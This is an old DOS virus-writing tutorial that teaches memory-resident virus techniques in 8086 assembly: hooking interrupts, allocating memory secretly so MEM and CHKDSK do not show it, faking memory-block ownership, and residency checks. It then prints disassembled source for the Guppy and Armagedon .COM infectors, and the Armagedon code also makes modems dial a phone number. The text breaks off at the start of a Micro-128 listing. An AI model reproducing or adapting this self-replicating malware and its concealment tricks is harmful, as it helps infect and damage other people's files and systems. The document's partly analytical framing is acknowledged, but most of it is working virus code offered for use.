Black Wolf's Guide to Memory Resident Viruses.



Disclaimer: This file is for informational purposes only! It was written

to provide an understanding of the methods viruses can use to

to protect against viruses and disassemble them as well as to

write them. It is at the possesser's discretion to decide

which. By using this file, the user accepts all responsibilities

for whatever he or she might do.



A memory resident program (or TSR for Terminate and Stay Resident)

is a program that leaves at least a portion of itself in memory after it

terminates and waits for a particular even to take place before it 'activates'

again. With DOS, this generally means that it hooks interrupts (BIOS/DOS

function calls) and waits for a specific keystroke, I/O command, time, etc.

While this can be useful in many types of programs, it is especially important

in viral programming. A virus that remains in memory can spread faster and

protect itself through 'stealth' abilities that non-resident viruses cannot

have. This text will take you through several methods of memory resident

programming for viruses, assuming a decent level of competency in 8086/8088

assembly language.


For starters, we need to know what a program has to do to go

memory resident. This can be summed up in 3 basic steps:

1.) Allocate some memory that will NOT be deallocated after the

virus terminates. This is necessary so that the virus will not

be overwritten.

2.) Copy the virus to the allocated memory.

3.) Set up a method in which the virus will eventually be activated,

generally by hooking BIOS or DOS interrupts.


The first thing that we need to know is how interrupts work.

Interrupts are mainly BIOS and DOS subroutines (functions) that can be

called by a program (example: Int 21h is the main file I/O interrupt).

To use them, all one has to do is set up the registers for the desired purpose

and execute an INT XX, where XX is the interrupt number between 1 and 255.

What the computer does first when it hits this instruction is push all of the

flags (PUSHF), then it consults a table at the bottom of memory and executes

a far call to the address of the appropriate interrupt. When the interrupt

is done, it returns to the program by executing an IRET (interrupt return),

which is a combination of a RETF and a POPF. To set the interrupt, then,

merely takes changing that table. If you want to return to the original

handler after your code runs, however, you must also save the old values

and jump there when your code is done. This is absolutely neccessary with

handlers like INT 21h, for otherwise nothing that DOS does through this will

get done, and the computer will crash.


The Interrupt Table is a table of addresses for the interrupt handler

code of each interrupt. It is located at 0000:0000 and ends at 0000:0400.

Each entry is 4 bytes long, consisting of a word long pointer to the offset

of the handler followed by a word pointer to the segment of the handler. This

setup allows you to calculate the address of an interrupt address by taking the

entry number and multiplying it by 4. For example, the Int 21h address

(the major DOS Interrupt) is located at 0000:0084 (21h*4). There is a space

at the end of the interrupt table allocated for user programs to set up their

own interrupts and for later expansion. This is basically the upper half,

starting at 0000:0200. On my system at least, this is generally free up until

about 0000:03A0 or so, leaving 1A0h bytes for you to use if you want for

whatever. This will be look into in more depth later on.....


There are two basic ways to hook interrupts. The first, using DOS,

is done with Int 21h, functions 35h (Get Interrupt Address) and 25h (Set Int).

First what you want to do is call Int 21h with the following setup:

AH = 35h (Get Interrupt Vector)

AL = Interrupt Number

It returns the following:

AX = Unchanged

ES = Interrupt Handler Segment

BX = Interrupt Handler Offset

What you want to do then is store the ES:BX address so that it can

be used later, and then set the interrupt to point to your handler. To do

this call Int 21h again as follows:

AH = 25h (Set Interrupt Vector)

AL = Interrupt Number

DS = New Handler Segment

DX = New Handler Offset

Now that your interrupt is set, you have to do something with it. Here

is a basic model for an interrupt hooker with a handler that returns control

to the original handler after it is done:


;Assume that DS = CS as in a .COM file.


mov ax,3521h ;Get Old Int 21h Address

int 21h

mov word ptr [Int_21_Segment],es ;Save old address

mov word ptr [Int_21_Offset],bx


mov ax,2521h

mov dx,offset Int_21_Handler ;DSX = Int_21_Handler

int 21h ;Set the new handler

;*********** Continue on with program, exit, whatever


cmp ah,4bh ;Check for activation

je execute_a_program ;conditions by looking

cmp ah,3dh ;at the function numbers

je open_a_file ;of Int 21 that you wish

;to intercept. Make sure

;to save any registers that

;you change inside the

;various handlers!!!!!!


db 0eah ;This simulates a far jump

Int_21_Offset dw 0 ;to the old interrupt handler.

Int_21_Segment dw 0 ;(0EAh is code for a far jmp.)


Notice the trick in Go_Int_21 with the 0EAh. What that does is

simulate a far jump to the old handler once your handler is done. A couple of

other things that one must do when an interrupt is hooked are as follows:

1.) Make sure to push/pop any registers that get changed!!!!!

Otherwise the results are unpredictable.

2.) Make sure that your interrupt handler does not call the function

that is has hooked directly. I.E. if you hook Int 21h, function

3dh to open files, do not put an Int 21h, function 3dh inside

the handler for it, as it will call the handler again, and again,

and again...... Instead, call the interrupt indirectly by

calling the ORIGINAL address with code like the following:


pushf ;push the flags and perform

call dword ptr [Int_21_Offset] ;a far call to simulate an

;INT call.


The other way to hook interrupts is by directly changing the table.

This can be done very easily, but you MUST remember to disable the interrupts

before doing so, then enable them afterwords. Otherwise, the interrupt could

possibly be called when only half of the address was set, creating unpredictable

results. See the following example:


Set_DS_to_Table: ;DS = 0

xor ax,ax

mov ds,ax


mov ax,offset Int_21_Handler ;ax = Handler Offset

mov bx,cs ;bx = Handler Segment

cli ;clear interrupts

xchg ax,word ptr ds:[84h] ;Set AX = Old handler offset

;and set new offset.

xchg bx,word ptr ds:[86h] ;Set BX = Old handler segment

;and set new segment.

mov word ptr cs:[Int_21_Offset],ax

mov word ptr cs:[Int_21_Segment],bx

sti ;restore interrupts

push cs

pop ds ;restore DS = CS



Okay, now that we know exactly how interrupts work, let's take a look

at some ways to allocate memory for the virus. What we need is a space large

enough for our virus to fit in and work that will not be deallocated after

an infected program is terminated. There are several ways in which to do this.

One can use Int 27h as a regular program would, but this would cause the

entire program to halt, alerting any user with a brain that something is wrong.

One can, however, make a virus that either re-executes the host so that the

termination is not seen (as Armageddon the Greek does) or one can make it

only go TSR the first time (duh) and allow the program to execute fine

afterwards (like Guppy and Little Brother do). The methods for these are

pretty simple and can be gained by examining the disassemblies of Guppy and

Armageddon included with this file.


The next simple method to go memory resident is to find a blank area

in memory that will NOT be used and use it. For really small virii, one

can use the top half of the interrupt table (mentioned earlier) in the

manner that the Micro-128 virus does (see disassembly). Other locations,

such as video memory (0b000/0b800) can be used as well if one keeps it on an

unused page (risky, but 0b900 will work for a while....). Leapfrog, for

instance, stores itself in one of DOS's disk buffers. The only code for

this is to copy the virus to the unused memory and make sure to point

the handler to the NEW copy.


One slight variation on this is the code that boot sector viruses

such as Stoned and Michelangelo use to allocate memory. Before DOS has

booted (and even later, as we will talk about later) BIOS stores the

amount of usable lower memory in a word located at 0:413h in memory. This

word contains the number of usable K, starting at 0000:0000 and ending (at

the highest) at A000:0000. One 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳


xor ax,ax

mov ds,ax

mov ax,word ptr ds:[413h] ;ax = memory in K


dec ax

mov word ptr ds:[413h],ax ;lower memory by 1K


mov cl,06

shl ax,cl ;AX = AX * 64

mov es,ax ;ES:0 is now the beginning

;of free memory.



Unfortunately, the last method only works before DOS is loaded. While

this is great for bootsector and multi-partite viruses, it doesn't work very

well for file-oriented viruses that load under DOS. For these, we need to

know more about the memory structures that DOS uses, namely the Memory

Control Blocks (MCB's) and the Program Segment Prefix (PSP).


When a file is loaded to be executed under DOS, DOS first takes

the memory it will allocate to the file and starts it with a 16 byte header

called a Memory Control Block. This header tells DOS the owner of the

block of memory, the size of the block, and whether it is the last in a chain

of MCB's or not. DOS the loads a 256 byte table called the Program Segment

Prefix directly after the MCB. The PSP is basically a table of information

for DOS book-keeping, including the location of the top of usable memory

by DOS. This also holds the default DTA, FCB's, and command lines for programs

Directly after the PSP, DOS loads the program to be run. If it is a .COM file,

it will be loaded and run where CS:0 = the beginning of the PSP, making the

beginning of the file start at an offset of 100h. If it is an .EXE file, the

beginning of the file will be loaded at CS:0, where CS is 10h higher than the

PSP's segment. This is important to remember when trying to modify the PSP

from a program. The MCB, as said above, is 10h lower in memory than the

PSP, or one segment lower. Full tables of each structure are shown below.

The format of a Memory Control Block is as follows:


Memory Control Blocks


Offset Name Length (Bytes) Description

0 Location 1 M=Last Block, Z=Not Last

1 Owner 2 Segment of start of Memory

3 Size 2 Length in Paragraphs

5 Unknown 3 Supposedly Reserved

8 Owner's Name 8 Name. Appears in mem maps


The format of DOS's Program Segment Prefix is as follows:


Program Segment Prefix


Offset Name Length (Hex Bytes) Description

00 Terminate 2 CD20 (Int 20)

02 Top of Memory 2 Usually set at A000.

-- Sometimes needed to

-- lower DOS's memory for

-- a virus.

04 Unknown 1 Supposedly Reserved.

05 CPM stuff 5 Obsolete

0A Exit to DOS 4 Int 22h handler (IP:CS)

0E Control C Handler 4 Int 23h handler (IP:CS)

12 Critical Error 4 Int 24h handler (IP:CS)

16 Parent ID 2 Segment of Parent Prog.

18 Handle Table 14 One byte/handle

2C Environment Segment 2 Segment of Envir. Vars.

2E User Stack 4 Stack address

32 File Handle Count 2 Size of Handle Table

34 Handle Table Address 4 If not at 12h

38 Unknown 1c Supposedly Reserved

50 Dos Call and RET 3 INT 21, RET

53 Unknown 9 Supposedly Reserved

5C FCB 1 10 File Control Block

6C FCB 2 10 ""

7C Unknown 4 Reserved

80 Command Line Length 1 Also used as the

81 Command Line 7f default DTA.


Using this information, there are two basic ways to go memory resident.

The first is to tell DOS that its top of memory is one or two K less, lowering

the MCB memory to correspond, then lowering the BIOS memory as shown before.

This method allows the virus to go memory resident using a small amount

of code, and it prevents it from showing up on MEM's list of memory holders.

Unfortunately, a decrease in lower memory is quite obvious using programs

like CHKDSK and MEM. The other method is to create another memory block than

the host's, setting the owner to either itself or, most commonly, COMMAND.COM.

This can be done either using DOS memory functions, as most viruses do, or

it can be done directly by manipulating the MCB's themselves.


The first and simplest method is to lower DOS's top of memory field

in the PSP, shrink the file's MCB, and lower the memory allocated to DOS by

BIOS. The end result of this is an area at the top of low memory that is

unallocated and can be used. One of the disadvantages of this is that the

size of the block MUST be allocated in chunks of 1K because the BIOS memory

field stores size in 1K blocks. This method is quite similair to that used

in the bootsector example above. See the example below:


;This example assumes .COM file structure where DS = CS = PSP.


mov ax,word ptr ds:[02] ;Get Top of Memory (PSP)

sub ax,40h ;Lower it by 1K (40h paragraphs)

mov word ptr ds:[02],ax ;And Replace Value.


mov ax,ds ;AX = CS = DS

dec ax ;Get Segment of MCB

mov ds,ax ;And put into DS


sub word ptr ds:[03],40h ;Subtract 1K from host's MCB

;allocation (paragraphs)


xor ax,ax

mov ds,ax ;DS = 0

dec word ptr ds:[413h] ;Allocate 1K from Bios


mov ax,word ptr ds:[413h] ;Get memory in 1K

mov cl,6

shl ax,cl ;change to segment (multiply

;by 64 or 40h)

;AX now equals free segment

;of memory

mov es,ax ;Set ES = Free Segment



Using DOS to allocate memory for you is often the method of choice

for virus writers. To do this, first find the maximum block size avaliable

by calling INT 21h, function 4Ah (Modify Memory Allocation) with the requested

memory (In paragraphs) set to 0ffffh. Since this is impossible, it will

return a carry flag and put the maximum size in BX. Subtract this amount

by the number of paragraphs that you want (+1 for safety) and then execute

another function 4Ah with the new value for BX. This will shrink the block

and give you enough space for the virus at the top of memory. Allocate memory

for the virus using Int 21h, function 48h (Allocate Memory) with BX set

to the number of paragraphs you want (no +1 this time). This will return

the segment of free memory in AX. All that is left now is to mark the new

block as the last in the chain by setting the first byte in its MCB to 'Z',

and change its owner. The owner is usually a word value corresponding to the

program's PSP (MCB Seg+1). This will work, or you can set it to a reserved

value like 08 (I/O). After this is done, if you want, you can set the

owner's name field starting at MCB_SEG:0008 to any eight byte or smaller name.

This name will appear in memory mapping programs such as MEM and SI.



mov ah,4ah

mov bx,0ffffh ;Request too much

int 21h ;memory - maximum size

;returned in BX.


sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by


Shrink_Block: ;BX = Paragraphs

mov ah,4ah ; Requested

int 21h ;ES = Segment of Block


mov ah,48h

mov bx,((end_vir-start_vir+0fh)/10h)*2 ;Allocate (virsize*2)

int 21h ;Returns AX = Free Seg


dec ax

mov es,ax

inc ax


mov byte ptr es:[0],'Z' ;Mark as last

;in chain


;Note: The number in the Owner field is usually the segment of the program's

; PSP. Certain values, however, have special meanings. 08, for example,

; indicates I/O or Command.COM as the owner. This can be useful for

; deceptions. The only requirement of this is that the owner will NOT

; be deallocated.

mov word ptr es:[1],ax ;Set owner as itself.


;Note: This is not necessary, but it can be used for many purposes.

mov di,08 ;ESI = owner name

;DOS 4+

mov si,offset virname

push cs

pop ds

mov cx,4

repnz movsw ;Copy name into field.

;This will show up in programs like MEM and

;System Information.

............. ;Continue program, hook interrupts, etc.

virname db 'reMEMber'



Direct Manipulation is basically the same in the end result as

DOS manipulation, but the steps are executed (obviously) completely

differently. One advantage of this method is that one can determine whether

or not to allow DOS to display the block the virus is in (see notes in code).

Since the steps are basically the same, see the code for how each is done.



mov ax,ds

dec ax

mov ds,ax ;DS = MCB

mov bx,word ptr ds:[03] ;Get Block Size


sub bx,((end_vir-start_vir+0fh)/10h)*2+1 ;Shrink Block by



mov word ptr ds:[03h],bx ;Lower Block Size


;Note: If you want your program to show up in a memory map, set this byte

; to 'M', meaning that it is NOT the last block. Otherwise, set it

; to 'Z' so that MEM and like programs will not trace past it.


mov byte ptr ds:[0],'M' ;Mark host block's

;location in chain.

Lower_Top_Of_Memory: ;Lower field in PSP

sub word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1

Point_ES_to_New_MCB: ;Get New top of mem

mov ax,word ptr ds:[12] ;from PSP.

mov es,ax ;ES = new segment.


mov byte ptr es:[0],'Z' ;Mark as last

;in chain


mov word ptr es:[1],ax ;Set owner as itself.



One thing that a virus must do to remain unnoticed to any degree is

to recognize if it has already been installed so that it does not continue

to re-install itself, taking up more and more memory. The simplest way to

do this is to hook an interrupt and check for a certain unique value, or

an installation check, and return another unique value if one is received to

tell the executing virus that it is already in memory. For example, one

can hook INT 21h and wait for AX to be equalled to DEADh on entry. In such a

case, one could save the value and IRET. If the virus is not installed, the

result will be AX = DE00. The executing virus would then check to see if the

value was correct and, if so, return control to the host without re-installing


See the code below:



mov ax,0deadh

int 21h ;Is it installed?

cmp ax,0deadh

je Already_Installed ;Yes? jump to Already_Installed

Install: ;otherwise install it.



cmp ah,4bh

je execute

cmp ah,3dh

je open

cmp ax,0deadh ;Is it an install check?

je Install_Check ;Yes, jump to Install_Check.


db 0ea

Int_21_IP dw 0

Int_21_CS dw 0

Install_Check: ;Save value in AX




One point that has been more or left out up until now is how to copy

the virus. The simplest (and the only REAL way) is to set ESI to the newly

allocated space, DS:SI to the start of the virus, and CX to the length of the

virus in words (or bytes if you wish to use movsb). Then execute a REPNZ

MOVSW and you've got it. Note: When using Int 27, this is uneccessary because

it puts the program into memory at it's original location.


;* The Guppy Virus *


;* The Guppy virus is a relatively simple, very small, resident .COM *

;*infector. It uses the standard way for a regular program to go resident *

;*(i.e. Int 27) which makes the infected program terminate the first time *

;*run. After that, however, infected files will run perfectly. This virus*

;*uses interesting methods to restore the storage bytes, as well as a *

;*strange technique to restore control to an infected file after it has *

;*already gone memory resident. *

;* *

;*Note: The Guppy virus was originally assembled with an assembler other *

;* than Tasm, so to keep it exactly the same some commands must be *

;* entered directly as individual bytes. In these cases, the command *

;* is commented out and the bytes are found below it. *

;* *


.model tiny

.radix 16


org 100h


call Get_Offset


pop si ;SI = offset of vir +


mov ax,3521h

mov bx,ax

int 21h ;Get Int 21 Address

mov ds:[si+Int_21_Offset-103],bx ;Save old Int 21

mov ds:[si+Int_21_Segment-103],es

;mov dx,si ;Bytes vary between assemblers

db 89,0f2

;add dx,offset Int_21_Handler-104

db 83,0c2,1f

mov ah,25h

int 21h ;Set Int 21

inc dh ;Add 100h bytes to go resident

;from handler

push cs

pop es

int 27h ;Terminate & stay resident

;DX+1 = end of area to go res.


cmp ax,4B00h ;Is call a Load & Execute?

je Infect ;Yes? Jump Infect

cmp al,21h ;Might it be a residency check?

jne Go_Int_21 ;No? Restore control to Int 21

;cmp ax,bx ;Are AX and BX the same?

db 39,0d8

jne Go_Int_21 ;No, Restore control to Int 21

push word ptr [si+3dh] ;3dh = offset of Storage_Bytes -


;This gets the first word of

;storage bytes, which is then

;popped to CS:100 to restore it.

mov bx,offset ds:[100] ;100 = Beginning of COM

pop word ptr [bx]

mov cl,[si+3Fh] ;Restore third storage byte.

mov [bx+2],cl


pop cx

push bx

iret ;Jump back to Host program.

Storage_Bytes db 0, 0, 0


push ax

push bx

push dx

push ds

mov ax,3D02h

int 21h ;Open File for Read/Write Access

xchg ax,bx

call Get_Offset_Two


pop si

push cs

pop ds

mov ah,3F

mov cx,3

sub si,10 ;Set SI=Storage_Bytes

;mov dx,si

db 89,0f2

int 21h ;Read first 3 bytes of file

cmp byte ptr [si],0E9h ;Is the first command a jump?

jne Close_File ;No? Jump to Close_File

mov ax,4202h

xor dx,dx

xor cx,cx

int 21h ;Go to end of file

xchg ax,di

mov ah,40h

mov cl,98h ;Virus Size

;mov dx,si

db 89,0f2

sub dx,40h ;Beginning of virus

int 21h ;Append virus to new host

mov ax,4200h

xor cx,cx

xor dx,dx

int 21h ;Go back to beginning of file

mov cl,3

;sub di,cx

db 29,0cf

mov [si+1],di

mov ah,40h

;mov dx,si

db 89,0f2

int 21h ;Write 3 byte jump to file


mov ah,3Eh

int 21h

pop ds

pop dx

pop bx

pop ax


db 0EAh ;Go On With Int 21

Int_21_Offset dw ?

Int_21_Segment dw ?

end start



;* The Armagedon Virus *

;* *

;*Dial is controlled off of the new INT 08 handler when virus goes TSR. *

;*Examine the way the virus goes memory resident using INT 27, this is an *

;*interesting method that I had not seen before in a virus. Also, look *

;*at its rather strange procedure for infecting files. *

;* *

;* Disassembly by Black Wolf *

;* *

;* (The 911 virus is directly related to this one, as the only differences *

;* are in the numbers dialed and the text messages) *


.model tiny ;Sets assembler into Tiny mode

.radix 16 ;Sets numbers to hexidecimal


org 100


;* Loading Jump *



jmp Virus_Entry



;* This is where the infected file would usually be. *




;* Int 21 Handler *




cmp ah,0E0 ;Is this an installation check?

jne not_check ;If not, go to not_check

mov ax,0DADA ;If so, return 0DADA

popf ;and exit interrupt.



cmp ah,0E1 ;0E1=request for virus' seg. address

jne not_seg_req ;Not E1? then go to not_seg_req

mov ax,cs ;Move virus' address into AX

popf ;and exit interrupt.



cmp ax,4B00 ;Load and Execute?

je Infect ;Go Infect



; jmp dword ptr cs:[Int_21_Off]

db 2e,0ff,2e,22,01 ;Jump to Int 21 (done)



;* Main Data Section *


Int_21_Off dw 138dh

Int_21_Seg dw 029a

Int_08_Off dw 022Bh

Int_08_Seg dw 70

Ready_Byte db 0

Timing_Counter db 8

save_time_a db 10

save_time_b db 9

save_date db 34

Bytes_Written dw 0

waste_byte db 0

Character_Count db 0

Data_Ready db 0

Ports_Initialized db 0

com db 'COM'

handle dw 5

file_size dw 2

db 0, 0

mem_allocated dw 1301

save_ss dw 12AC

save_sp dw 0FFFE

filename_seg dw 9B70

filename_off dw 3D5Bh

attribs dw 20

file_date dw 0EC2

file_time dw 6E68

db 0,0,81,0

cs_save_3 dw 12AC

db 5C,0

cs_save_1 dw 12AC

db 6C,0

cs_save_2 dw 12AC



push ds bx si cx ax dx bp es di ;Save Registers

cld ;Clear direction

push dx ds ;Save Filename Address

xor cx,cx ;Zero CX for use as counter

mov si,dx ;Move Filename Offset to SI


mov al,[si] ;Get letter from Filename

cmp al,0 ;Are we at the end of the

je Check_Filename ;Filename? Yes? Go to loc_7

inc cx ;inc Count

inc si ;inc pointer to next char

jmp short Find_End_Of_Filename


add dx,cx ;add filename length to

;start of filename address

sub dx,3 ;Subtract 3 for extension

mov si,offset com ;com='COM'

mov di,dx ;set di=dx to Check

;Next few lines Check for


cmp byte ptr [di-3],4E ;Is the second to last letter

;an 'N'?

jne setup_check ;If not, it's not COMMAND,

;Go to loc_8

cmp byte ptr [di-2],44 ;Is the last letter a 'D'?

je Infect_Error ;If so, it is COMMAND,

;Go to Infect_Error.


mov cx,3 ;Setup loop


mov al,cs:[si]

cmp al,[di]

jne Infect_Error

inc si ;Check for 'COM' Extension

inc di ;If so, infect, otherwise

loop check_if_com ;Go to Infect_Error

pop ds

pop dx ;Restore original filename

push dx ;address to DSX, then

push ds ;push them back onto stack

mov si,dx

mov dl,0

cmp byte ptr [si+1],3A ;Is the second letter a

; ':'? I.E. is the file on

;another drive?

jne Get_Free_Disk_Space ;Nope? Go Get_Free_Disk_Space

mov dl,[si] ;Get drive number if the file

and dl,0F ;is on another drive.


mov ah,36

int 21h ;Get free drive space.


cmp ax,0FFFF

je Infect_Error

jmp short Continue_Infect



jmp Pop_And_Quit_Infect

jmp End_Infect


jmp Close_File

jmp Reset_DTA


cmp bx,3 ;If there are less than 3

jb Infect_Error ;clusters free, quit.

pop ds ;DSX is filename address

pop dx ;again.

push ds

push dx

mov word ptr cs:[filename_seg],ds ;Save DSX again

mov word ptr cs:[filename_off],dx

mov ax,4300

int 21 ;Get the file attributes

mov word ptr cs:[attribs],cx ;Store attributes

mov ax,4301

xor cx,cx ;Set attributes to zero

int 21 ;to insure write access.

mov bx,0FFFF

mov ah,48 ;Allocate all free memory

int 21 ;by trying to allocate more

;than the computer possibly can,

mov ah,48 ;then using the returned number

int 21 ;(free mem) as the amount to


mov word ptr cs:[mem_allocated],ax ;save the segment of

;allocated memory

mov ax,cs ;point ds to cs

mov ds,ax

mov dx,offset new_DTA

mov ah,1A

int 21 ;Set DTA to memory after virus

pop dx

pop ds

mov ax,3D02

clc ;clear carry (unneccessary)

int 21 ;Open file for read/write access

jc Error_After_Open ;on error go to


mov bx,ax ;move handle to bx

mov word ptr cs:[handle],ax ;save file handle

mov cx,0FFFF

mov ax,word ptr cs:[mem_allocated] ;Get segment of

;memory to use

mov ds,ax ;point ds to it

mov dx,end_main_virus-start

mov ah,3F

clc ;clear carry

int 21 ;Read 0ffff byte from file

jc Error_After_Open ;If error go to


mov word ptr cs:[file_size],ax ;save file size

;(number of bytes read)

cmp ax,0E000

ja Error_After_Open ;File is too large, go to


cmp ax,end_main_virus-start ;Is file smaller than virus?

jb Not_Infected ;Yes, therefore it isn't

;infected, goto Not_Infected

mov si,offset (end_main_virus+1-100)

add si,si ;Set SI to point to area where

sub si,15 ;the text message would be if

;file is already infected.

mov cx,13 ;Length of Text_Message

mov di,offset Text_Message ;("Armagedon the GREEK")


mov al,byte ptr [si] ;This loop checks for the text

mov ah,cs:byte ptr [di] ;message in the file being

cmp ah,al ;examined. If it's there, it

jne Not_Infected ;jumps to Close_File,

inc si ;otherwise it jumps to Not_Infected

inc di

loop Check_For_Infection

jmp short Close_File



mov ax,4200

mov bx,word ptr cs:[handle]

xor cx,cx

mov dx,cx

int 21 ;Move to beginning of file

jc Close_File

mov si,100

mov cx,offset (end_main_virus-100)

xor di,di

mov ax,word ptr cs:[mem_allocated]

mov ds,ax


mov al,cs:[si] ;Copy virus onto file in

mov [di],al ;memory. "repnz movsw"

inc si ;would've worked a lot

inc di ;better.

loop Copy_Virus

mov ax,5700

mov bx,word ptr cs:[handle]

int 21 ;Get File Date/Time

mov word ptr cs:[file_time],cx ;Save File Time

mov word ptr cs:[file_date],dx ;Save File Date

mov ax,word ptr cs:[mem_allocated]

mov ds,ax

mov si,offset (end_main_virus-100)

mov al,[si] ;encrypt first storage

add al,0Bh ;byte.

mov [si],al

xor dx,dx

mov cx,word ptr cs:[file_size] ;Calculate new file size

add cx,offset end_main_virus-100 ;(add virus size)

mov bx,word ptr cs:[handle]

mov ah,40

int 21 ;Rewrite file

mov word ptr cx,cs:[file_time]

mov word ptr dx,cs:[file_date]

mov bx,word ptr cs:[handle]

mov ax,5701

int 21 ;Restore File Time


mov bx,word ptr cs:[handle]

mov ah,3E

int 21 ;Close File

push cs

pop ds


mov dx,80

mov ah,1A

int 21 ;Reset DTA to default

mov ax,word ptr cs:[mem_allocated]

mov es,ax

mov ah,49

int 21 ;Release Allocated Memory

mov ax,word ptr cs:[filename_seg]

mov ds,ax

mov dx,word ptr cs:[filename_off]

mov ax,4301

mov cx,word ptr cs:[attribs]

int 21 ;Restore File Date/Time

jmp short End_Infect



pop ds

pop dx

jmp short End_Infect



pop di es bp dx ax cx si bx ds

jmp Go_Int_21


;* Timer Click (INT 8) Handler *

;* This is Used to Dial Numbers *



push bp ds es ax bx cx dx si di

pushf ;Push flags

;call word ptr cs:[Int_08_Off] ;Run old timer click

db 2e,0ff,1e,26,01

call Timing_Routine

push cs

pop ds

mov ah,5

mov ch,byte ptr [save_time_a]

cmp ah,ch

ja Quit_Int_08

;if [save_time_a] !=6, quit.

mov ah,6

cmp ah,ch

jb Quit_Int_08

mov ah,byte ptr [Ready_Byte]

cmp ah,1

je Go_Dial

mov ah,1

mov byte ptr [Ready_Byte],ah

jmp short Quit_Int_08



call Write_Ports

inc word ptr [Bytes_Written]

mov ax,word ptr [Bytes_Written]

cmp ax,21C

jne Quit_Int_08

xor ax,ax ;Reset Counters

mov byte ptr [Ready_Byte],ah

mov word ptr [Bytes_Written],ax

mov byte ptr [Data_Ready],ah


pop di si dx cx bx ax es ds bp



;* Timing Routine For Dialing *



push cs

pop ds

xor al,al

mov ah,byte ptr [Timing_Counter]

cmp ah,11

jne Inc_Time_Count

mov ah,byte ptr [save_date]

cmp ah,3bh

jne Inc_Saved_Date

mov ah,byte ptr [save_time_b]

cmp ah,3bh

jne Inc_S_T_B

mov ah,byte ptr [save_time_a]

cmp ah,17

jne Inc_S_T_A

mov byte ptr [save_time_a],al


mov byte ptr [save_time_b],al


mov byte ptr [save_date],al


mov byte ptr [Timing_Counter],al



inc byte ptr [Timing_Counter]



inc byte ptr [save_date]

jmp short Time_Count


inc byte ptr [save_time_b]

jmp short Store_Save_Date


inc byte ptr [save_time_a]

jmp short Save_T_B

dial_string db '+++aTh0m0s7=35dp081,,,,141' ;Dial string To call

;Speaking Clock

;in Greece (Crete)


;* Write Data to Com Ports *



mov al,byte ptr [Data_Ready]

cmp al,1

je Ret_Write_Ports ; Jump if equal

mov al,byte ptr [Ports_Initialized] ;Have Ports been

cmp al,1 ;Initialized yet?

je Already_Initialized

mov cx,3


mov dx,cx

xor ah,ah

mov al,83 ;Init Comport

int 14 ;1200 Baud, No Parity,

;1 Stop Bit, 8 bit Word Len.

loop Init_Ports ;Initalize all Ports 1-4

mov al,1

mov byte ptr [Ports_Initialized],al

jmp short Ret_Write_Ports



push cs

pop ds

mov si,offset dial_string

mov al,byte ptr [Character_Count]

cmp al,1A

jne Write_From_SI_To_Ports

jmp short Setup_write



xor ah,ah

add si,ax

mov al,[si]

mov dx,3F8 ;Outport from SI to standard

out dx,al ;addresses of ports 1-4

mov dx,2F8 ;and increment character count

out dx,al

mov dx,2E8

out dx,al

mov dx,3E8

out dx,al

inc byte ptr [Character_Count]

jmp short Ret_Write_Ports



mov cx,3


mov dx,cx

mov al,0dh

mov ah,1

int 14 ;Write a 1 to all ports

loop Write_To_All_Ports

mov ax,1

mov byte ptr [Data_Ready],al

mov byte ptr [Character_Count],ah

mov byte ptr [Ports_Initialized],ah




; Virus Entry Point



mov ah,0e0

int 21 ;Check for Installation

cmp ax,0dada ;Was it installed?

jne Install_Virus ;No? Then install it.

jmp Already_Installed ;Yes? Go to Already_Installed


push cs

pop ds

mov ax,3521 ;Get Int 21 Address

int 21

mov word ptr [Int_21_Off],bx ;Save old Int 21

mov word ptr [Int_21_Seg],es ;Vector

mov dx,offset Int_21

mov ax,2521

int 21 ;Set Int 21

mov ax,3508

int 21 ;Get Int 8 Address

mov word ptr [Int_08_Off],bx

mov word ptr [Int_08_Seg],es ;Save old Vectors

mov dx,offset Int_08

mov ax,2508

int 21 ;Set Int 08

mov ah,2C

int 21 ;Get Time

mov byte ptr [save_time_a],ch

mov byte ptr [save_time_b],cl ;Save Time and Date

mov byte ptr [save_date],dh

mov ax,cs:[2c] ;Get environment block

mov ds,ax ;address and put it in DS

xor si,si ;DS:SI=beginning of Env. B.


mov al,[si] ;Search through environment

cmp al,1 ;block for program executed.

je Found_Filename

inc si

jmp short Find_The_Filename


inc si

inc si

mov dx,si ;DSX = Filename

mov ax,cs

mov es,ax ;Set segment (ES) = CS

mov bx,5a ;Request 5a0h (1440 dec) bytes

mov ah,4a

int 21 ;Change Allocated Memory

mov bx,word ptr cs:[81] ;Beginning of Command Line

mov ax,cs

mov es,ax ;set ES=CS again.

mov word ptr cs:[cs_save_1],ax

mov word ptr cs:[cs_save_2],ax ;Re-Execute program

mov word ptr cs:[cs_save_3],ax ;To make Int 27 cause

mov ax,4B00 ;program to go mem-res

mov word ptr cs:[save_ss],ss ;without terminating

mov word ptr cs:[save_sp],sp ;regular program.


;call far cs:[Int_21_Off] ;Call Load and Execute

db 2e,0ff,1e,22,01

mov ax,word ptr cs:[save_ss]

mov ss,ax

mov ax,word ptr cs:[save_sp] ;Restore Stack

mov sp,ax

mov ax,cs

mov ds,ax

mov dx,537 ;DX=End of virus

int 27 ;Terminate & stay resident


mov ah,0E1 ;Get CS of virus in memory

int 21

mov si,offset Install_Jump

mov cs:[si+3],ax ;Setup Jump

mov ax,offset After_Jump

mov cs:[si+1],ax

mov ax,word ptr cs:[file_size]

mov bx,cs


db 0ea

IP_For_Jump db 0,0

CS_For_Jump db 0,0


mov cx,ax

mov ds,bx

mov si,100

mov di,offset storage_bytes

Restore_File: ;Restore File in memory

mov al,[di]

mov [si],al

inc si

inc di

loop Restore_File

mov si,offset return_jump

mov cs:[si+3],ds ;set host segment

mov al,byte ptr ds:[100] ;Get first byte of host,

sub al,0bh ;then unencrypt first byte

mov byte ptr ds:[100],al ;of Storage_Bytes

mov ax,ds ;and restore it

mov es,ax ;restore ES and SS to point

mov ss,ax ;to DS/CS

;* jmp far ptr start ;Return control to COM file


db 0ea

host_offset db 00,01

host_segment db 07,13

Text_Message db 'Armagedon the GREEK'


Storage_Bytes db 0D8,20 ;First Byte Encrypted


word_space db 8 dup (?)

new_DTA :

end start



;* Micro-128 *


;* The Micro-128 virus was, for a while, the smallest known memory *

;*resident non-overwriting .COM infector. It copies itself onto the *

;*interrupt table and hooks Int 21h so that, while in memory, it stores *

;*Int 21's address in the Int E0 field. This allows it to simple call *

;*Int E0 when it wants an Int 21h. While it does have a few nice tricks *

